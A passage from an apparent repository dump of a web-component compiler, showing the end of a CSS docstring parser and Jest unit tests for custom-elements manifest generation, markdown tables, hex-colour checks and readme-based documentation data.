splt.join(`:`)).trim(),\n      annotation: 'prop',\n      mode,\n    };\n\n    if (!styleDocs.some((c) => c.name === styleDoc.name && c.annotation === 'prop')) {\n      styleDocs.push(styleDoc);\n    }\n  });\n}\n\n/**\n * Opening syntax for a CSS docstring.\n * This will match a traditional docstring or a \"loud\" comment in sass\n */\nconst CSS_DOC_START = /\\/\\*(\\*|\\!)/;\n/**\n * Closing syntax for a CSS docstring\n */\nconst CSS_DOC_END = '*/';\n/**\n * The `@prop` annotation we support within CSS docstrings\n */\nconst CSS_PROP_ANNOTATION = '@prop';\n"
  },
  {
    "path": "src/compiler/docs/test/custom-elements-manifest.spec.ts",
    "content": "import { mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing';\n\nimport type * as d from '../../../declarations';\nimport { generateCustomElementsManifestDocs } from '../cem';\n\ndescribe('custom-elements-manifest', () => {\n  let compilerCtx: d.CompilerCtx;\n  let writeFileSpy: jest.SpyInstance;\n\n  beforeEach(() => {\n    const config = mockValidatedConfig();\n    compilerCtx = mockCompilerCtx(config);\n    writeFileSpy = jest.spyOn(compilerCtx.fs, 'writeFile');\n  });\n\n  afterEach(() => {\n    writeFileSpy.mockRestore();\n  });\n\n  it('does nothing when no custom-elements-manifest output targets are configured', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [],\n      typeLibrary: {},\n    };\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, []);\n\n    expect(writeFileSpy).not.toHaveBeenCalled();\n  });\n\n  it('generates manifest with correct schema version', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    expect(writeFileSpy).toHaveBeenCalledTimes(1);\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    expect(writtenContent.schemaVersion).toBe('2.1.0');\n    expect(writtenContent.modules).toEqual([]);\n  });\n\n  it('generates module for each component file', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/components/my-component/my-component.tsx',\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    expect(writtenContent.modules).toHaveLength(1);\n    expect(writtenContent.modules[0].kind).toBe('javascript-module');\n    expect(writtenContent.modules[0].path).toBe('src/components/my-component/my-component.tsx');\n  });\n\n  it('converts tag name to PascalCase class name', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-awesome-component',\n          filePath: 'src/my-component.tsx',\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const declaration = writtenContent.modules[0].declarations[0];\n    expect(declaration.name).toBe('MyAwesomeComponent');\n    expect(declaration.tagName).toBe('my-awesome-component');\n  });\n\n  it('includes component description', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/my-component.tsx',\n          docs: 'This is a test component',\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const declaration = writtenContent.modules[0].declarations[0];\n    expect(declaration.description).toBe('This is a test component');\n  });\n\n  it('includes attributes from props with attr set', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/my-component.tsx',\n          props: [\n            {\n              name: 'firstName',\n              attr: 'first-name',\n              type: 'string',\n              docs: 'The first name',\n              default: \"'John'\",\n              mutable: false,\n              reflectToAttr: true,\n              docsTags: [],\n              values: [],\n              optional: false,\n              required: false,\n              getter: false,\n              setter: false,\n            },\n          ],\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const declaration = writtenContent.modules[0].declarations[0];\n    expect(declaration.attributes).toHaveLength(1);\n    expect(declaration.attributes[0]).toEqual({\n      name: 'first-name',\n      description: 'The first name',\n      type: { text: 'string' },\n      default: \"'John'\",\n      fieldName: 'firstName',\n    });\n  });\n\n  it('includes members (fields) from props', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/my-component.tsx',\n          props: [\n            {\n              name: 'count',\n              type: 'number',\n              docs: 'The count value',\n              default: '0',\n              mutable: false,\n              reflectToAttr: false,\n              docsTags: [],\n              values: [],\n              optional: false,\n              required: false,\n              getter: false,\n              setter: false,\n            },\n          ],\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const declaration = writtenContent.modules[0].declarations[0];\n    const field = declaration.members.find((m: any) => m.kind === 'field');\n    expect(field).toBeDefined();\n    expect(field.name).toBe('count');\n    expect(field.type).toEqual({ text: 'number' });\n    expect(field.readonly).toBe(true);\n  });\n\n  it('includes methods', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/my-component.tsx',\n          methods: [\n            {\n              name: 'doSomething',\n              docs: 'Does something',\n              docsTags: [],\n              returns: { type: 'Promise<void>', docs: 'Returns nothing' },\n              signature: 'doSomething(value: string) => Promise<void>',\n              parameters: [{ name: 'value', type: 'string', docs: 'The value to use' }],\n              complexType: {\n                signature: '(value: string) => Promise<void>',\n                parameters: [{ name: 'value', type: 'string', docs: 'The value to use' }],\n                return: 'Promise<void>',\n                references: {},\n              },\n            },\n          ],\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const declaration = writtenContent.modules[0].declarations[0];\n    const method = declaration.members.find((m: any) => m.kind === 'method');\n    expect(method).toBeDefined();\n    expect(method.name).toBe('doSomething');\n    expect(method.description).toBe('Does something');\n    expect(method.parameters).toHaveLength(1);\n    expect(method.return.type).toEqual({ text: 'Promise<void>' });\n  });\n\n  it('includes type references from complexType', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/my-component.tsx',\n          props: [\n            {\n              name: 'items',\n              type: 'MyItem[]',\n              docs: 'Array of items',\n              mutable: false,\n              reflectToAttr: false,\n              docsTags: [],\n              values: [],\n              optional: false,\n              required: false,\n              getter: false,\n              setter: false,\n              complexType: {\n                original: 'MyItem[]',\n                resolved: '{ id: string; name: string }[]',\n                references: {\n                  MyItem: {\n                    location: 'import',\n                    path: './types',\n                    id: 'src/types.ts::MyItem',\n                  },\n                },\n              },\n            },\n            {\n              name: 'element',\n              type: 'HTMLElement',\n              docs: 'An HTML element',\n              mutable: false,\n              reflectToAttr: false,\n              docsTags: [],\n              values: [],\n              optional: false,\n              required: false,\n              getter: false,\n              setter: false,\n              complexType: {\n                original: 'HTMLElement',\n                resolved: 'HTMLElement',\n                references: {\n                  HTMLElement: {\n                    location: 'global',\n                    path: '',\n                    id: 'global::HTMLElement',\n                  },\n                },\n              },\n            },\n          ],\n          events: [\n            {\n              event: 'itemSelected',\n              docs: 'Fired when item is selected',\n              detail: 'MyItem',\n              bubbles: true,\n              cancelable: false,\n              composed: true,\n              docsTags: [],\n              complexType: {\n                original: 'MyItem',\n                resolved: '{ id: string; name: string }',\n                references: {\n                  MyItem: {\n                    location: 'import',\n                    path: './types',\n                    id: 'src/types.ts::MyItem',\n                  },\n                },\n              },\n            },\n          ],\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const declaration = writtenContent.modules[0].declarations[0];\n\n    // Check prop with imported type reference\n    const itemsField = declaration.members.find((m: any) => m.name === 'items');\n    expect(itemsField.type.text).toBe('MyItem[]');\n    expect(itemsField.type.references).toEqual([{ name: 'MyItem', module: './types' }]);\n\n    // Check prop with global type reference\n    const elementField = declaration.members.find((m: any) => m.name === 'element');\n    expect(elementField.type.text).toBe('HTMLElement');\n    expect(elementField.type.references).toEqual([{ name: 'HTMLElement', package: 'global:' }]);\n\n    // Check event with type reference\n    const event = declaration.events[0];\n    expect(event.type.text).toBe('CustomEvent<MyItem>');\n    expect(event.type.references).toEqual([{ name: 'MyItem', module: './types' }]);\n  });\n\n  it('includes events', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/my-component.tsx',\n          events: [\n            {\n              event: 'myEvent',\n              docs: 'Fired when something happens',\n              detail: 'string',\n              bubbles: true,\n              cancelable: true,\n              composed: true,\n              docsTags: [],\n              complexType: {\n                original: 'string',\n                resolved: 'string',\n                references: {},\n              },\n            },\n          ],\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const declaration = writtenContent.modules[0].declarations[0];\n    expect(declaration.events).toHaveLength(1);\n    expect(declaration.events[0]).toEqual({\n      name: 'myEvent',\n      description: 'Fired when something happens',\n      type: { text: 'CustomEvent<string>' },\n    });\n  });\n\n  it('includes slots', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/my-component.tsx',\n          slots: [\n            { name: '', docs: 'Default slot content' },\n            { name: 'header', docs: 'Header slot' },\n          ],\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const declaration = writtenContent.modules[0].declarations[0];\n    expect(declaration.slots).toHaveLength(2);\n    expect(declaration.slots[0]).toEqual({ name: '', description: 'Default slot content' });\n    expect(declaration.slots[1]).toEqual({ name: 'header', description: 'Header slot' });\n  });\n\n  it('includes demos from usage examples', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/components/my-component/my-component.tsx',\n          usagesDir: 'src/components/my-component/usage',\n          usage: {\n            angular: '```html\\n<my-component></my-component>\\n```',\n            react: '```tsx\\nimport { MyComponent } from \"my-lib\";\\n```',\n          },\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const declaration = writtenContent.modules[0].declarations[0];\n    expect(declaration.demos).toHaveLength(2);\n    expect(declaration.demos).toContainEqual({\n      url: 'src/components/my-component/usage/angular.md',\n      description: '```html\\n<my-component></my-component>\\n```',\n    });\n    expect(declaration.demos).toContainEqual({\n      url: 'src/components/my-component/usage/react.md',\n      description: '```tsx\\nimport { MyComponent } from \"my-lib\";\\n```',\n    });\n  });\n\n  it('includes CSS parts', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/my-component.tsx',\n          parts: [{ name: 'button', docs: 'The button element' }],\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const declaration = writtenContent.modules[0].declarations[0];\n    expect(declaration.cssParts).toHaveLength(1);\n    expect(declaration.cssParts[0]).toEqual({ name: 'button', description: 'The button element' });\n  });\n\n  it('includes CSS custom properties', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/my-component.tsx',\n          styles: [\n            { name: '--my-color', annotation: 'prop', docs: 'The primary color', mode: 'light' },\n            { name: '--my-other', annotation: 'other', docs: 'Not a prop', mode: 'dark' },\n          ],\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const declaration = writtenContent.modules[0].declarations[0];\n    expect(declaration.cssProperties).toHaveLength(1);\n    expect(declaration.cssProperties[0]).toEqual({ name: '--my-color', description: 'The primary color' });\n  });\n\n  it('includes deprecation info', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/my-component.tsx',\n          deprecation: 'Use new-component instead',\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const declaration = writtenContent.modules[0].declarations[0];\n    expect(declaration.deprecated).toBe('Use new-component instead');\n  });\n\n  it('generates exports for each component', async () => {\n    const docsData: d.JsonDocs = {\n      timestamp: 'test',\n      compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' },\n      components: [\n        createMockComponent({\n          tag: 'my-component',\n          filePath: 'src/my-component.tsx',\n        }),\n      ],\n      typeLibrary: {},\n    };\n    const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [\n      { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' },\n    ];\n\n    await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets);\n\n    const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]);\n    const exports = writtenContent.modules[0].exports;\n    expect(exports).toHaveLength(2);\n\n    const jsExport = exports.find((e: any) => e.kind === 'js');\n    expect(jsExport).toBeDefined();\n    expect(jsExport.name).toBe('MyComponent');\n\n    const ceExport = exports.find((e: any) => e.kind === 'custom-element-definition');\n    expect(ceExport).toBeDefined();\n    expect(ceExport.name).toBe('my-component');\n  });\n});\n\n/**\n * Helper to create a mock JsonDocsComponent with sensible defaults\n */\nfunction createMockComponent(overrides: Partial<d.JsonDocsComponent> = {}): d.JsonDocsComponent {\n  return {\n    dirPath: '',\n    fileName: 'my-component.tsx',\n    filePath: 'src/my-component.tsx',\n    readmePath: 'src/readme.md',\n    usagesDir: 'src/usage',\n    tag: 'my-component',\n    readme: '',\n    overview: '',\n    usage: {},\n    docs: '',\n    docsTags: [],\n    encapsulation: 'shadow',\n    dependents: [],\n    dependencies: [],\n    dependencyGraph: {},\n    props: [],\n    methods: [],\n    events: [],\n    styles: [],\n    slots: [],\n    parts: [],\n    customStates: [],\n    listeners: [],\n    ...overrides,\n  };\n}\n"
  },
  {
    "path": "src/compiler/docs/test/docs-util.spec.ts",
    "content": "import { isHexColor, MarkdownTable } from '../../docs/readme/docs-util';\n\ndescribe('markdown-table', () => {\n  it('header', () => {\n    const t = new MarkdownTable();\n    t.addHeader(['Column 1', 'Column 22', 'Column\\n333']);\n    t.addRow(['Text 1', 'Text 2']);\n    const o = t.toMarkdown();\n    expect(o).toEqual([\n      '| Column 1 | Column 22 | Column 333 |',\n      '| -------- | --------- | ---------- |',\n      '| Text 1   | Text 2    |            |',\n    ]);\n  });\n\n  it('longest column', () => {\n    const t = new MarkdownTable();\n    t.addRow(['Text aa', 'Text b', 'Text c']);\n    t.addRow(['Text a', 'Text bb', 'Text c']);\n    t.addRow(['Text a', 'Text bb', 'Text cc']);\n    const o = t.toMarkdown();\n    expect(o).toEqual([\n      '| Text aa | Text b  | Text c  |',\n      '| Text a  | Text bb | Text c  |',\n      '| Text a  | Text bb | Text cc |',\n    ]);\n  });\n\n  it('3 columns', () => {\n    const t = new MarkdownTable();\n    t.addRow(['Text 1', 'Text 2', 'Text 3']);\n    const o = t.toMarkdown();\n    expect(o).toEqual(['| Text 1 | Text 2 | Text 3 |']);\n  });\n\n  it('one column', () => {\n    const t = new MarkdownTable();\n    t.addRow(['Text']);\n    const o = t.toMarkdown();\n    expect(o).toEqual(['| Text |']);\n  });\n\n  it('do nothing', () => {\n    const t = new MarkdownTable();\n    const o = t.toMarkdown();\n    expect(o).toEqual([]);\n  });\n});\n\ndescribe('isHexColor', () => {\n  it('should return true for valid hex colors', () => {\n    expect(isHexColor('#FFF')).toBe(true);\n    expect(isHexColor('#FFFFFF')).toBe(true);\n    expect(isHexColor('#000000')).toBe(true);\n    expect(isHexColor('#f0f0f0')).toBe(true);\n    expect(isHexColor('#aBcDeF')).toBe(true);\n  });\n\n  it('should return false for invalid hex colors', () => {\n    expect(isHexColor('FFF')).toBe(false);\n    expect(isHexColor('#GGGGGG')).toBe(false);\n    expect(isHexColor('#FF')).toBe(false);\n    expect(isHexColor('#FFFFFFF')).toBe(false);\n    expect(isHexColor('#FF0000FF')).toBe(false);\n  });\n\n  it('should return false for non-string inputs', () => {\n    expect(isHexColor('123')).toBe(false);\n    expect(isHexColor('true')).toBe(false);\n    expect(isHexColor('{}')).toBe(false);\n    expect(isHexColor('[]')).toBe(false);\n  });\n});\n"
  },
  {
    "path": "src/compiler/docs/test/generate-doc-data.spec.ts",
    "content": "import { mockBuildCtx, mockCompilerCtx, mockModule, mockValidatedConfig } from '@stencil/core/testing';\nimport { DEFAULT_STYLE_MODE, getComponentsFromModules } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { stubComponentCompilerMeta } from '../../types/tests/ComponentCompilerMeta.stub';\nimport { AUTO_GENERATE_COMMENT } from '../constants';\nimport { generateDocData, getDocsStyles } from '../generate-doc-data';\n\ndescribe('generate-doc-data', () => {\n  describe('getDocsComponents', () => {\n    let moduleCmpWithJsdoc: d.Module;\n    let moduleCmpNoJsdoc: d.Module;\n\n    beforeEach(() => {\n      moduleCmpWithJsdoc = mockModule({\n        cmps: [\n          stubComponentCompilerMeta({\n            docs: {\n              tags: [],\n              text: 'This is the overview of `my-component`',\n            },\n          }),\n        ],\n      });\n      moduleCmpNoJsdoc = mockModule({\n        cmps: [\n          stubComponentCompilerMeta({\n            docs: {\n              tags: [],\n              text: '',\n            },\n          }),\n        ],\n      });\n    });\n\n    /**\n     * Setup function for the {@link generateDocData} function exported by the module under test\n     * @param moduleMap a map of {@link d.ModuleMap} entities to add to the returned compiler and build contexts\n     * @returns the arguments required to invoke the method under test\n     */\n    const setup = (\n      moduleMap: d.ModuleMap,\n    ): { validatedConfig: d.ValidatedConfig; compilerCtx: d.CompilerCtx; buildCtx: d.BuildCtx } => {\n      const validatedConfig: d.ValidatedConfig = mockValidatedConfig();\n\n      const compilerCtx: d.CompilerCtx = mockCompilerCtx(validatedConfig);\n      compilerCtx.moduleMap = moduleMap;\n\n      const modules = Array.from(compilerCtx.moduleMap.values());\n      const buildCtx: d.BuildCtx = mockBuildCtx(validatedConfig, compilerCtx);\n      buildCtx.moduleFiles = modules;\n      buildCtx.components = getComponentsFromModules(modules);\n\n      return { validatedConfig, compilerCtx, buildCtx };\n    };\n\n    describe('component JSDoc overview', () => {\n      it(\"takes the value from the component's JSDoc\", async () => {\n        const moduleMap: d.ModuleMap = new Map();\n        moduleMap.set('path/to/component.tsx', moduleCmpWithJsdoc);\n        const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap);\n\n        const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx);\n\n        expect(generatedDocData.components).toHaveLength(1);\n        const componentDocData = generatedDocData.components[0];\n        expect(componentDocData.overview).toBe('This is the overview of `my-component`');\n      });\n\n      it('sets the value to the empty string when there is no JSDoc', async () => {\n        const moduleMap: d.ModuleMap = new Map();\n        moduleMap.set('path/to/component.tsx', moduleCmpNoJsdoc);\n        const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap);\n\n        const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx);\n\n        expect(generatedDocData.components).toHaveLength(1);\n        const componentDocData = generatedDocData.components[0];\n        expect(componentDocData.overview).toBe('');\n      });\n    });\n\n    describe('docs content', () => {\n      it(\"sets the field's contents to the jsdoc text if present\", async () => {\n        const moduleMap: d.ModuleMap = new Map();\n        moduleMap.set('path/to/component.tsx', moduleCmpWithJsdoc);\n        const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap);\n\n        const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx);\n\n        expect(generatedDocData.components).toHaveLength(1);\n        const componentDocData = generatedDocData.components[0];\n        expect(componentDocData.docs).toBe('This is the overview of `my-component`');\n      });\n\n      it(\"sets the field's contents to an empty string if neither the readme, nor jsdoc are set\", async () => {\n        const moduleMap: d.ModuleMap = new Map();\n        moduleMap.set('path/to/component.tsx', moduleCmpNoJsdoc);\n        const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap);\n\n        const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx);\n\n        expect(generatedDocData.components).toHaveLength(1);\n        const componentDocData = generatedDocData.components[0];\n        expect(componentDocData.docs).toBe('');\n      });\n\n      it(\"sets the field's contents to an empty string if the readme doesn't contain the autogenerated comment\", async () => {\n        const moduleMap: d.ModuleMap = new Map();\n        moduleMap.set('path/to/component.tsx', moduleCmpNoJsdoc);\n        const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap);\n\n        await compilerCtx.fs.writeFile('readme.md', 'this is manually generated user content');\n\n        const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx);\n\n        expect(generatedDocData.components).toHaveLength(1);\n        const componentDocData = generatedDocData.components[0];\n        expect(componentDocData.docs).toBe('');\n      });\n\n      it(\"sets the field's contents to manually generated content when the autogenerated comment is present\", async () => {\n        const moduleMap: d.ModuleMap = new Map();\n        moduleMap.set('path/to/component.tsx', moduleCmpNoJsdoc);\n        const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap);\n\n        await compilerCtx.fs.writeFile(\n          'readme.md',\n          `this is manually generated user content\\n${AUTO_GENERATE_COMMENT}\\nauto-generated content`,\n        );\n\n        const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx);\n\n        expect(generatedDocData.components).toHaveLength(1);\n        const componentDocData = generatedDocData.components[0];\n        expect(componentDocData.docs).toBe('this is manually generated user content');\n      });\n\n      it(\"sets the field's contents to a subset of the manually generated content\", async () => {\n        const moduleMap: d.ModuleMap = new Map();\n        moduleMap.set('path/to/component.tsx', moduleCmpNoJsdoc);\n        const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap);\n\n        const readmeContent = `\nthis is manually generated user content\n\n# user header\nuser content\n\n# another user header\nmore user content\n\n${AUTO_GENERATE_COMMENT}\n\n#some-header\n\nauto-generated content\n`;\n        await compilerCtx.fs.writeFile('readme.md', readmeContent);\n\n        const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx);\n\n        expect(generatedDocData.components).toHaveLength(1);\n        const componentDocData = generatedDocData.components[0];\n        expect(componentDocData.docs).toBe('this is manually generated user content');\n      });\n\n      it(\"sets the field's contents to a an empty string when the manually generated content starts with a '#'\", async () => {\n        const moduleMap: d.ModuleMap = new Map();\n        moduleMap.set('path/to/component.tsx', moduleCmpNoJsdoc);\n        const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap);\n\n        const readmeContent = `\n# header that leads to skipping\nthis is manually generated user content\n\n# user header\nuser content\n\n# another user header\nmore user content\n\n${AUTO_GENERATE_COMMENT}\n\n#some-header\n\nauto-generated content\n`;\n        await compilerCtx.fs.writeFile('readme.md', readmeContent);\n\n        const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx);\n\n        expect(generatedDocData.components).toHaveLength(1);\n        const componentDocData = generatedDocData.components[0];\n        expect(componentDocData.docs).toBe('');\n      });\n    });\n  });\n\n  describe('getDocsStyles', () => {\n    it('returns an empty array if no styleDocs exist on the compiler metadata', () => {\n      const compilerMeta = stubComponentCompilerMeta();\n      // @ts-ignore - the intent of this test is to verify allocation of a new array if for some reason this is missing\n      compilerMeta.styleDocs = null;\n\n      const actual = getDocsStyles(compilerMeta);\n\n      expect(actual).toEqual([]);\n    });\n\n    it('returns an empty array if empty styleDocs exist on the compiler metadata', () => {\n      const compilerMeta = stubComponentCompilerMeta({ styleDocs: [] });\n\n      const actual = getDocsStyles(compilerMeta);\n\n      expect(actual).toEqual([]);\n    });\n\n    it(\"returns a 'sorted' array of one CompilerStyleDoc\", () => {\n      const compilerStyleDoc: d.CompilerStyleDoc = {\n        annotation: 'prop',\n        docs: 'these are the docs for this prop',\n        name: 'my-style-one',\n        mode: 'md',\n      };\n      const compilerMeta = stubComponentCompilerMeta({ styleDocs: [compilerStyleDoc] });\n\n      const actual = getDocsStyles(compilerMeta);\n\n      expect(actual).toEqual([compilerStyleDoc]);\n    });\n\n    it('returns a sorted array from multiple CompilerStyleDoc', () => {\n      const compilerStyleDocOne: d.CompilerStyleDoc = {\n        annotation: 'prop',\n        docs: 'these are the docs for my-style-a',\n        name: 'my-style-a',\n        mode: 'ios',\n      };\n      const compilerStyleDocTwo: d.CompilerStyleDoc = {\n        annotation: 'prop',\n        docs: 'these are more docs for my-style-b',\n        name: 'my-style-b',\n        mode: 'ios',\n      };\n      const compilerStyleDocThree: d.CompilerStyleDoc = {\n        annotation: 'prop',\n        docs: 'these are more docs for my-style-c',\n        name: 'my-style-c',\n        mode: 'ios',\n      };\n      const compilerMeta = stubComponentCompilerMeta({\n        styleDocs: [compilerStyleDocOne, compilerStyleDocThree, compilerStyleDocTwo],\n      });\n\n      const actual = getDocsStyles(compilerMeta);\n\n      expect(actual).toEqual([compilerStyleDocOne, compilerStyleDocTwo, compilerStyleDocThree]);\n    });\n\n    it('returns a sorted array from based on mode for the same name', () => {\n      const mdCompilerStyle: d.CompilerStyleDoc = {\n        annotation: 'prop',\n        docs: 